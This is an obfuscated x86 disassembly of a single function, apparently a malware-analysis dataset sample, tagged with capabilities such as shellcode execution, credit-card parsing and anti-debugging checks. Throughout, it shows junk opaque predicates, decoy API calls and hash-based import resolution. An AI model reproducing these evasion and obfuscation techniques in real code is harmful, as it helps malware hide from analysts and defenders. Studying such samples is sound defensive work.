Function at 0x401000
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check for software breakpoints
Encrypt data using speck
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse credit card information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5850
call fcn.00406e30
push esi
mov eax, dword [ebp + 0x14]
imul eax, eax, 0x9d
cmp dword [ebp + 0x14], eax
jne 0x401028
mov dword [ebp - 0x77c], 1
jmp 0x401032
mov dword [ebp - 0x77c], 0
mov ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x14]
cmp dword [ebp - 0x77c], ecx
jne 0x40104c
mov dword [ebp - 0x7d8], 1
jmp 0x401056
mov dword [ebp - 0x7d8], 0
mov edx, dword [ebp + 0x14]
imul edx, dword [ebp + 0x14]
cmp edx, 0xaf
je 0x401071
mov dword [ebp - 0x220], 1
jmp 0x40107b
mov dword [ebp - 0x220], 0
mov eax, dword [ebp + 0x14]
and eax, 0xa1
or eax, dword [ebp - 0x7d8]
mov ecx, dword [ebp + 0x14]
imul ecx, dword [ebp + 0x14]
xor ecx, dword [ebp - 0x220]
or eax, ecx
mov dword [ebp - 0x10c], eax
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x10c]
and edx, 1
add edx, 1
imul edx, edx, 0x15
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x928], str.MFTmQH3GJOZyRYn8TZ5nkznRvLRhemX
push 0x987ed362
push 0xabc8f753
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
cmp dword [ebp - 0x5c], 0
je 0x4013cd
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x5c]
jne 0x4010f1
mov dword [ebp - 0x638], 1
jmp 0x4010fb
mov dword [ebp - 0x638], 0
mov ecx, dword [ebp - 0x638]
cmp ecx, dword [ebp - 0x5c]
jne 0x401112
mov dword [ebp - 0x228], 1
jmp 0x40111c
mov dword [ebp - 0x228], 0
mov edx, dword [ebp - 0x228]
cmp edx, dword [ebp - 0x5c]
jne 0x401133
mov dword [ebp - 0x230], 1
jmp 0x40113d
mov dword [ebp - 0x230], 0
cmp dword [ebp - 0x5c], 0x2c
je 0x40114f
mov dword [ebp - 0x718], 1
jmp 0x401159
mov dword [ebp - 0x718], 0
cmp dword [ebp - 0x718], 0x7d
je 0x40116e
mov dword [ebp - 0x640], 1
jmp 0x401178
mov dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x5c]
or eax, dword [ebp - 0x230]
or eax, dword [ebp - 0x640]
or eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
xor ecx, dword [ebp - 0x5c]
or eax, ecx
mov dword [ebp - 0x1e4], eax
mov edx, dword [ebp - 0x1e4]
neg edx
xor edx, dword [ebp - 0x1e4]
and edx, 1
add edx, 1
imul edx, edx, 0x51
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x810], str.T9uMl
push 0x8232c3e
push 0xd541fcbe
push 0x7e7e5b07
push 0xf479b6ee
push 0x86fc363
call sub.NETAPI32.dll_NetAuditWrite
cmp dword [ebp - 0x20], 0
je 0x40129b
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x2a
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x20]
sub eax, ecx
add eax, 0xab
cmp eax, dword [ebp - 0x20]
je 0x40120f
mov dword [ebp - 0x238], 1
jmp 0x401219
mov dword [ebp - 0x238], 0
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x20]
cmp edx, 0x46
jne 0x401230
mov dword [ebp - 0x788], 1
jmp 0x40123a
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
xor eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x788]
and ecx, 0x9f
xor eax, ecx
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0xb4], eax
mov edx, dword [ebp - 0xb4]
neg edx
xor edx, dword [ebp - 0xb4]
and edx, 1
add edx, 0x32
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0x930], str.7unypqjaDofr
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
cmp dword [ebp - 0x20], 0xb4
je 0x4012b0
mov dword [ebp - 0x240], 1
jmp 0x4012ba
mov dword [ebp - 0x240], 0
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x20]
jne 0x4012d1
mov dword [ebp - 0x648], 1
jmp 0x4012db
mov dword [ebp - 0x648], 0
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x648], ecx
jne 0x4012f5
mov dword [ebp - 0x248], 1
jmp 0x4012ff
mov dword [ebp - 0x248], 0
mov edx, dword [ebp - 0x248]
cmp edx, dword [ebp - 0x20]
je 0x401316
mov dword [ebp - 0x250], 1
jmp 0x401320
mov dword [ebp - 0x250], 0
cmp dword [ebp - 0x20], 0x5f
je 0x401332
mov dword [ebp - 0x720], 1
jmp 0x40133c
mov dword [ebp - 0x720], 0
cmp dword [ebp - 0x720], 0xc7
je 0x401354
mov dword [ebp - 0x650], 1
jmp 0x40135e
mov dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
and eax, dword [ebp - 0x20]
mov ecx, 0x43
sub ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x20]
add ecx, edx
xor ecx, dword [ebp - 0x250]
xor ecx, dword [ebp - 0x650]
or eax, ecx
mov ecx, dword [ebp - 0x20]
xor ecx, dword [ebp - 0x20]
or eax, ecx
mov dword [ebp - 0x164], eax
mov edx, dword [ebp - 0x164]
add edx, dword [ebp - 0x164]
and edx, 1
add edx, 1
imul edx, edx, 0x41
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x9c0], str.WsUCcLHtWELOMuMFZs1gwTiRhsynkAPR
push 0xce92f033
push 0x944de994
push 0xca49d03c
call sub.NETAPI32.dll_NetAuditClear
cmp dword [ebp - 0x5c], 0x88
jne 0x4013e2
mov dword [ebp - 0x7c0], 1
jmp 0x4013ec
mov dword [ebp - 0x7c0], 0
cmp dword [ebp - 0x5c], 2
je 0x4013fe
mov dword [ebp - 0x260], 1
jmp 0x401408
mov dword [ebp - 0x260], 0
cmp dword [ebp - 0x5c], 0x5a
je 0x40141a
mov dword [ebp - 0x258], 1
jmp 0x401424
mov dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x258]
cmp eax, dword [ebp - 0x5c]
je 0x40143b
mov dword [ebp - 0x658], 1
jmp 0x401445
mov dword [ebp - 0x658], 0
cmp dword [ebp - 0x5c], 0x25
je 0x401457
mov dword [ebp - 0x268], 1
jmp 0x401461
mov dword [ebp - 0x268], 0
mov ecx, dword [ebp - 0x5c]
xor ecx, 0xc3
xor ecx, dword [ebp - 0x7c0]
or ecx, dword [ebp - 0x260]
mov edx, dword [ebp - 0x5c]
xor edx, dword [ebp - 0x5c]
or ecx, edx
mov eax, dword [ebp - 0x5c]
and eax, 0xb3
xor eax, 0x32
or ecx, eax
mov edx, dword [ebp - 0x658]
and edx, 0x98
or ecx, edx
mov eax, dword [ebp - 0x5c]
and eax, dword [ebp - 0x268]
or ecx, eax
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0xbc]
neg ecx
xor ecx, dword [ebp - 0xbc]
and ecx, 1
or ecx, 0x61
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x938], str.FC9OViIcMZ2jH2
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x50], 0
je 0x4015c0
mov edx, dword [ebp - 0x50]
imul edx, dword [ebp - 0x50]
cmp edx, 0x86
je 0x401507
mov dword [ebp - 0x728], 1
jmp 0x401511
mov dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x50]
imul eax, eax, 0x87
cmp eax, dword [ebp - 0x50]
jne 0x40152b
mov dword [ebp - 0x270], 1
jmp 0x401535
mov dword [ebp - 0x270], 0
mov ecx, dword [ebp - 0x728]
xor ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x270]
and edx, dword [ebp - 0x50]
xor ecx, edx
xor ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
and eax, 0xe5
xor ecx, eax
mov edx, dword [ebp - 0x50]
and edx, 0xdf
and edx, dword [ebp - 0x50]
or ecx, edx
mov dword [ebp - 0x1bc], ecx
mov eax, dword [ebp - 0x1bc]
not eax
cmp eax, dword [ebp - 0x1bc]
jne 0x401586
mov dword [ebp - 0x660], 1
jmp 0x401590
mov dword [ebp - 0x660], 0
mov ecx, dword [ebp - 0x660]
add ecx, 1
imul ecx, ecx, 0x19
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x828], str.FPxeS4ZODLqmRsR4Gro
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x50]
jne 0x4015d4
mov dword [ebp - 0x278], 1
jmp 0x4015de
mov dword [ebp - 0x278], 0
cmp dword [ebp - 0x278], 0x96
jne 0x4015f6
mov dword [ebp - 0x790], 1
jmp 0x401600
mov dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x50]
sub eax, 0x7c
cmp dword [ebp - 0x790], eax
je 0x40161a
mov dword [ebp - 0x280], 1
jmp 0x401624
mov dword [ebp - 0x280], 0
mov ecx, dword [ebp - 0x50]
imul ecx, ecx, 0x27
sub ecx, dword [ebp - 0x50]
cmp ecx, 0x84
je 0x401641
mov dword [ebp - 0x668], 1
jmp 0x40164b
mov dword [ebp - 0x668], 0
mov edx, dword [ebp - 0x50]
imul edx, edx, 0x79
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x50]
lea eax, [ecx + eax + 0x46]
cmp edx, eax
jne 0x40166b
mov dword [ebp - 0x288], 1
jmp 0x401675
mov dword [ebp - 0x288], 0
mov ecx, dword [ebp - 0x50]
add ecx, 0xdc
and ecx, dword [ebp - 0x50]
or ecx, dword [ebp - 0x280]
mov edx, dword [ebp - 0x668]
and edx, dword [ebp - 0x50]
or ecx, edx
mov eax, dword [ebp - 0x50]
and eax, 0x5b
and eax, dword [ebp - 0x288]
or ecx, eax
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0xc4]
add ecx, dword [ebp - 0xc4]
and ecx, 1
or ecx, 0x19
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x830], str.tplWkI8t
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
push 0x8ca9ef6c
call fcn.00406c00
push eax
call fcn.00406c70
mov dword [ebp - 0x360], eax
mov edx, dword [ebp + 0x14]
sub edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x14]
imul eax, eax, 0xd0
add edx, dword [ebp + 0x14]
add eax, edx
cmp eax, 0x2a
je 0x401717
mov dword [ebp - 0x290], 1
jmp 0x401721
mov dword [ebp - 0x290], 0
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp + 0x14]
cmp ecx, dword [ebp + 0x14]
je 0x401738
mov dword [ebp - 0x730], 1
jmp 0x401742
mov dword [ebp - 0x730], 0
mov edx, 0x39
sub edx, dword [ebp + 0x14]
cmp dword [ebp - 0x730], edx
jne 0x40175e
mov dword [ebp - 0x670], 1
jmp 0x401768
mov dword [ebp - 0x670], 0
cmp dword [ebp + 0x14], 0xfe
jne 0x40177d
mov dword [ebp - 0x298], 1
jmp 0x401787
mov dword [ebp - 0x298], 0
mov eax, dword [ebp + 0x14]
xor eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x670]
and ecx, 0x4a
xor eax, ecx
xor eax, dword [ebp - 0x298]
or eax, dword [ebp + 0x14]
mov dword [ebp - 0x16c], eax
mov edx, dword [ebp - 0x16c]
neg edx
and edx, 1
mov eax, dword [ebp - 0x16c]
and eax, 1
cmp edx, eax
je 0x4017ce
mov dword [ebp - 0x7e8], 1
jmp 0x4017d8
mov dword [ebp - 0x7e8], 0
mov ecx, dword [ebp - 0x7e8]
add ecx, 0x52
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x838], str.tqafmx
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x64], 0
je 0x401aec
mov edx, dword [ebp - 0x64]
imul edx, dword [ebp - 0x64]
cmp dword [ebp - 0x64], edx
je 0x401827
mov dword [ebp - 0x2b0], 1
jmp 0x401831
mov dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x64], 0x66
jne 0x401843
mov dword [ebp - 0x2a0], 1
jmp 0x40184d
mov dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x64]
cmp dword [ebp - 0x2a0], eax
jne 0x401867
mov dword [ebp - 0x678], 1
jmp 0x401871
mov dword [ebp - 0x678], 0
mov ecx, dword [ebp - 0x678]
cmp ecx, dword [ebp - 0x64]
jne 0x401888
mov dword [ebp - 0x2a8], 1
jmp 0x401892
mov dword [ebp - 0x2a8], 0
mov edx, dword [ebp - 0x64]
add edx, 0x50
cmp dword [ebp - 0x2a8], edx
je 0x4018ac
mov dword [ebp - 0x738], 1
jmp 0x4018b6
mov dword [ebp - 0x738], 0
mov eax, 0x58
sub eax, dword [ebp - 0x64]
cmp dword [ebp - 0x738], eax
jne 0x4018d2
mov dword [ebp - 0x680], 1
jmp 0x4018dc
mov dword [ebp - 0x680], 0
mov ecx, dword [ebp - 0x2b0]
or ecx, dword [ebp - 0x680]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0xcc]
not edx
cmp edx, dword [ebp - 0xcc]
jne 0x40190a
mov dword [ebp - 0x2b8], 1
jmp 0x401914
mov dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x2b8]
add eax, 1
imul eax, eax, 0x58
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x9c8], str.7Fmwt
push 0xd0116fa4
push 0xfad6e987
push 0x4bd1e61f
call sub.wsnmp32.dll_SnmpContextToStr
cmp dword [ebp - 0x34], 0
je 0x401a15
cmp dword [ebp - 0x34], 0x2e
jne 0x401960
mov dword [ebp - 0x798], 1
jmp 0x40196a
mov dword [ebp - 0x798], 0
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
lea eax, [edx + ecx + 0xf6]
mov ecx, dword [ebp - 0x34]
imul ecx, ecx, 0x2c
imul ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x34]
imul ecx, ecx, 0x7d
add ecx, dword [ebp - 0x34]
and ecx, dword [ebp - 0x34]
or eax, ecx
mov edx, dword [ebp - 0x34]
and edx, 0x70
or eax, edx
mov ecx, dword [ebp - 0x34]
imul ecx, ecx, 0x67
mov edx, 0xff
sub edx, dword [ebp - 0x34]
and ecx, edx
and ecx, 0x9a
xor ecx, dword [ebp - 0x798]
xor ecx, dword [ebp - 0x34]
or eax, ecx
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x1fc]
not eax
cmp eax, dword [ebp - 0x1fc]
jne 0x4019db
mov dword [ebp - 0x2c0], 1
jmp 0x4019e5
mov dword [ebp - 0x2c0], 0
mov ecx, dword [ebp - 0x2c0]
add ecx, 1
imul ecx, ecx, 0x27
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x840], str.22QZ6E2eskGm
push 0xb087f132
push 0x867c7ef4
push 0x98358944
call sub.NETAPI32.dll_NetErrorLogClear
mov edx, dword [ebp - 0x34]
sub edx, 0xe
mov eax, dword [ebp - 0x34]
imul eax, eax, 0x74
mov ecx, dword [ebp - 0x34]
imul ecx, dword [ebp - 0x34]
sub eax, ecx
sub eax, dword [ebp - 0x34]
cmp edx, eax
je 0x401a3d
mov dword [ebp - 0x688], 1
jmp 0x401a47
mov dword [ebp - 0x688], 0
mov edx, dword [ebp - 0x688]
cmp edx, dword [ebp - 0x34]
jne 0x401a5e
mov dword [ebp - 0x740], 1
jmp 0x401a68
mov dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x34]
je 0x401a7c
mov dword [ebp - 0x2c8], 1
jmp 0x401a86
mov dword [ebp - 0x2c8], 0
mov ecx, dword [ebp - 0x34]
imul ecx, ecx, 0x94
mov edx, dword [ebp - 0x2c8]
and edx, 0x9e
xor edx, dword [ebp - 0x740]
or ecx, edx
mov dword [ebp - 0xd4], ecx
mov eax, dword [ebp - 0xd4]
add eax, dword [ebp - 0xd4]
and eax, 1
add eax, 1
imul eax, eax, 7
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x848], str.ElIAVv9gqA9w2
push 0x8232c3e
push 0xd541fcbe
push 0x7e7e5b07
push 0xf479b6ee
push 0x86fc363
call sub.NETAPI32.dll_NetAuditWrite
cmp dword [ebp - 0x64], 0xf7
je 0x401b01
mov dword [ebp - 0x2d0], 1
jmp 0x401b0b
mov dword [ebp - 0x2d0], 0
mov ecx, dword [ebp - 0x2d0]
cmp ecx, dword [ebp - 0x64]
je 0x401b22
mov dword [ebp - 0x690], 1
jmp 0x401b2c
mov dword [ebp - 0x690], 0
mov edx, dword [ebp - 0x64]
add edx, 0x8f
cmp dword [ebp - 0x690], edx
jne 0x401b49
mov dword [ebp - 0x2d8], 1
jmp 0x401b53
mov dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x64]
imul eax, eax, 0x5c
cmp dword [ebp - 0x2d8], eax
je 0x401b6d
mov dword [ebp - 0x2e0], 1
jmp 0x401b77
mov dword [ebp - 0x2e0], 0
mov ecx, dword [ebp - 0x64]
imul ecx, ecx, 0xf9
cmp ecx, dword [ebp - 0x64]
je 0x401b91
mov dword [ebp - 0x698], 1
jmp 0x401b9b
mov dword [ebp - 0x698], 0
mov edx, dword [ebp - 0x64]
add edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x64]
je 0x401bb2
mov dword [ebp - 0x7c8], 1
jmp 0x401bbc
mov dword [ebp - 0x7c8], 0
cmp dword [ebp - 0x7c8], 0x46
jne 0x401bd1
mov dword [ebp - 0x2e8], 1
jmp 0x401bdb
mov dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x2e0]
xor eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x64]
shl ecx, 7
xor eax, ecx
mov edx, dword [ebp - 0x64]
xor edx, dword [ebp - 0x2e8]
or eax, edx
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x174]
and eax, 1
add eax, 0x37
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x850], str.mQrTiCciZazo3Fo8Rn3r3inTZ
push 0x5beaf050
push 0x824aaf7f
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
cmp dword [ebp - 0x4c], 0
je 0x401d01
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
imul edx, edx, 0x4c
add edx, dword [ebp - 0x4c]
cmp ecx, edx
je 0x401c5b
mov dword [ebp - 0x748], 1
jmp 0x401c65
mov dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
lea edx, [eax + ecx + 0x8f]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4c]
sub edx, eax
cmp dword [ebp - 0x748], edx
jne 0x401c92
mov dword [ebp - 0x2f0], 1
jmp 0x401c9c
mov dword [ebp - 0x2f0], 0
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x4c]
or ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0xdc]
not edx
cmp edx, dword [ebp - 0xdc]
jne 0x401cca
mov dword [ebp - 0x6a0], 1
jmp 0x401cd4
mov dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6a0]
or eax, 0xb
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x950], str.3oUp9UXSwxh5e4q8GokT
push 0x2db0ae50
push 0xf304cfbe
push 0x67ae8d50
call sub.USP10.dll_ScriptIsComplex
cmp dword [ebp - 0x4c], 0xd2
jne 0x401d16
mov dword [ebp - 0x2f8], 1
jmp 0x401d20
mov dword [ebp - 0x2f8], 0
mov ecx, dword [ebp - 0x4c]
imul ecx, ecx, 0xc0
cmp dword [ebp - 0x2f8], ecx
je 0x401d3d
mov dword [ebp - 0x7a0], 1
jmp 0x401d47
mov dword [ebp - 0x7a0], 0
mov edx, dword [ebp - 0x4c]
imul edx, edx, 0x11
add edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
sub eax, 0x16
cmp edx, eax
jne 0x401d66
mov dword [ebp - 0x300], 1
jmp 0x401d70
mov dword [ebp - 0x300], 0
cmp dword [ebp - 0x4c], 0x6e
je 0x401d82
mov dword [ebp - 0x6a8], 1
jmp 0x401d8c
mov dword [ebp - 0x6a8], 0
mov ecx, dword [ebp - 0x7a0]
and ecx, dword [ebp - 0x300]
or ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x6a8]
xor edx, 1
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x4c]
xor edx, eax
mov eax, dword [ebp - 0x4c]
imul eax, eax, 9
xor edx, eax
or ecx, edx
mov edx, dword [ebp - 0x4c]
add edx, 0x35
or ecx, edx
mov dword [ebp - 0x1c4], ecx
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x1c4]
and eax, 1
or eax, 0xb
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x9d0], str.gakadQAHR1YH2ats47Lh8O
push 0x530e43f4
push 0x75e17df7
push 0xe9800f58
call dword [sym.imp.RPCRT4.dll_RpcNsBindingInqEntryNameW]
push 0xb4c47f55
push str.User32.dll
call dword [ebp - 0x360]
push eax
call fcn.00406c70
mov dword [ebp - 0x804], eax
mov ecx, dword [ebp + 0x14]
imul ecx, dword [ebp + 0x14]
sub ecx, 0xdb
cmp dword [ebp + 0x14], ecx
je 0x401e35
mov dword [ebp - 0x750], 1
jmp 0x401e3f
mov dword [ebp - 0x750], 0
cmp dword [ebp + 0x14], 0x9b
jne 0x401e54
mov dword [ebp - 0x308], 1
jmp 0x401e5e
mov dword [ebp - 0x308], 0
mov edx, dword [ebp + 0x14]
add edx, dword [ebp + 0x14]
mov eax, 0xd6
sub eax, dword [ebp + 0x14]
and eax, dword [ebp - 0x308]
xor edx, eax
or edx, dword [ebp - 0x750]
mov ecx, 0x3a
sub ecx, dword [ebp + 0x14]
or edx, ecx
mov eax, dword [ebp + 0x14]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp + 0x14]
and eax, ecx
xor eax, dword [ebp + 0x14]
xor eax, dword [ebp + 0x14]
or edx, eax
mov eax, dword [ebp + 0x14]
add eax, 0x37
or edx, eax
mov dword [ebp - 0xe4], edx
mov ecx, dword [ebp - 0xe4]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0xe4]
and edx, 1
cmp ecx, edx
je 0x401ecc
mov dword [ebp - 0x310], 1
jmp 0x401ed6
mov dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x310]
add eax, 0x49
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x958], str.EQUuTYGiYmgwJRnZdwoht6
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x6c], 0
je 0x4021ce
cmp dword [ebp - 0x6c], 0xd4
je 0x401f23
mov dword [ebp - 0x6b0], 1
jmp 0x401f2d
mov dword [ebp - 0x6b0], 0
mov ecx, dword [ebp - 0x6c]
imul ecx, ecx, 0xfe
imul ecx, dword [ebp - 0x6c]
cmp ecx, 0xdd
jne 0x401f4e
mov dword [ebp - 0x318], 1
jmp 0x401f58
mov dword [ebp - 0x318], 0
mov edx, dword [ebp - 0x6c]
add edx, 0xb3
and edx, dword [ebp - 0x6b0]
xor edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x6c]
and eax, dword [ebp - 0x6c]
and eax, 0xee
and eax, dword [ebp - 0x6c]
mov ecx, 0xc0
sub ecx, dword [ebp - 0x6c]
and eax, ecx
and eax, dword [ebp - 0x6c]
xor eax, 0xd
xor eax, dword [ebp - 0x318]
or edx, eax
mov dword [ebp - 0x17c], edx
mov edx, dword [ebp - 0x17c]
not edx
cmp edx, dword [ebp - 0x17c]
jne 0x401fb6
mov dword [ebp - 0x7e0], 1
jmp 0x401fc0
mov dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x7e0]
add eax, 1
imul eax, eax, 0x60
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x868], str.a26p9Vhn2
push 0x8232c3e
push 0xd541fcbe
push 0x7e7e5b07
push 0xf479b6ee
push 0x86fc363
call sub.NETAPI32.dll_NetAuditWrite
cmp dword [ebp - 0x90], 0
je 0x402133
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x90]
lea eax, [edx + ecx + 0x33]
mov ecx, dword [ebp - 0x90]
imul ecx, ecx, 0xa3
cmp eax, ecx
je 0x402033
mov dword [ebp - 0x320], 1
jmp 0x40203d
mov dword [ebp - 0x320], 0
mov edx, dword [ebp - 0x90]
add edx, 0xad
mov eax, dword [ebp - 0x90]
add eax, 0x21
cmp edx, eax
je 0x402062
mov dword [ebp - 0x6b8], 1
jmp 0x40206c
mov dword [ebp - 0x6b8], 0
mov ecx, dword [ebp - 0x90]
imul ecx, ecx, 0x4a
cmp dword [ebp - 0x90], ecx
jne 0x402089
mov dword [ebp - 0x328], 1
jmp 0x402093
mov dword [ebp - 0x328], 0
mov edx, dword [ebp - 0x90]
imul edx, dword [ebp - 0x90]
xor edx, dword [ebp - 0x320]
xor edx, dword [ebp - 0x6b8]
mov eax, dword [ebp - 0x328]
xor eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
imul ecx, dword [ebp - 0x90]
add ecx, 0xf1
xor eax, ecx
or edx, eax
mov dword [ebp - 0xec], edx
mov edx, dword [ebp - 0xec]
neg edx
and edx, 1
mov eax, dword [ebp - 0xec]
and eax, 1
cmp edx, eax
je 0x4020f9
mov dword [ebp - 0x758], 1
jmp 0x402103
mov dword [ebp - 0x758], 0
mov ecx, dword [ebp - 0x758]
add ecx, 1
imul ecx, ecx, 9
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xa10], str.nwbaa8gVv2og0aNJA17u17k2QI6
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
mov edx, dword [ebp - 0x90]
imul edx, edx, 0xdd
sub edx, dword [ebp - 0x90]
and edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
add eax, 0x114
sub eax, dword [ebp - 0x90]
xor edx, eax
mov ecx, dword [ebp - 0x90]
add ecx, 0x83
and ecx, 0xa4
or edx, ecx
mov dword [ebp - 0x1ec], edx
mov edx, dword [ebp - 0x1ec]
not edx
cmp edx, dword [ebp - 0x1ec]
jne 0x402194
mov dword [ebp - 0x330], 1
jmp 0x40219e
mov dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
add eax, 1
imul eax, eax, 0x49
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x960], str.zuSXkyQ
push 0x68a484eb
push 0x17732d77
push 0x3e255097
call sub.SHLWAPI.dll_SHSendMessageBroadcastA
mov ecx, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x6c]
add ecx, 0x4c
mov edx, dword [ebp - 0x6c]
sub edx, 0x89
cmp ecx, edx
je 0x4021f1
mov dword [ebp - 0x6c0], 1
jmp 0x4021fb
mov dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x6c]
lea edx, [ecx + eax + 0x69]
cmp dword [ebp - 0x6c0], edx
je 0x402219
mov dword [ebp - 0x340], 1
jmp 0x402223
mov dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x6c]
add eax, 0x3b
cmp eax, dword [ebp - 0x6c]
je 0x40223a
mov dword [ebp - 0x338], 1
jmp 0x402244
mov dword [ebp - 0x338], 0
mov ecx, dword [ebp - 0x338]
cmp ecx, dword [ebp - 0x6c]
jne 0x40225b
mov dword [ebp - 0x7a8], 1
jmp 0x402265
mov dword [ebp - 0x7a8], 0
mov edx, dword [ebp - 0x6c]
xor edx, dword [ebp - 0x7a8]
or edx, dword [ebp - 0x340]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
neg eax
xor eax, dword [ebp - 0xf4]
and eax, 1
add eax, 1
imul eax, eax, 0x2c
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x9d8], str.dIpyuPV2HCTfC9
push 0x4f83e640
push 0xb05b661d
push 0xe8ad46ec
call dword [sym.imp.WINMM.dll_mmioWrite]
cmp dword [ebp - 0x60], 0
je 0x4023ce
mov ecx, 0x67
sub ecx, dword [ebp - 0x60]
cmp dword [ebp - 0x60], ecx
je 0x4022d9
mov dword [ebp - 0x6c8], 1
jmp 0x4022e3
mov dword [ebp - 0x6c8], 0
mov edx, dword [ebp - 0x60]
imul edx, edx, 0x74
imul edx, dword [ebp - 0x60]
add edx, 0x74
cmp dword [ebp - 0x6c8], edx
jne 0x402304
mov dword [ebp - 0x348], 1
jmp 0x40230e
mov dword [ebp - 0x348], 0
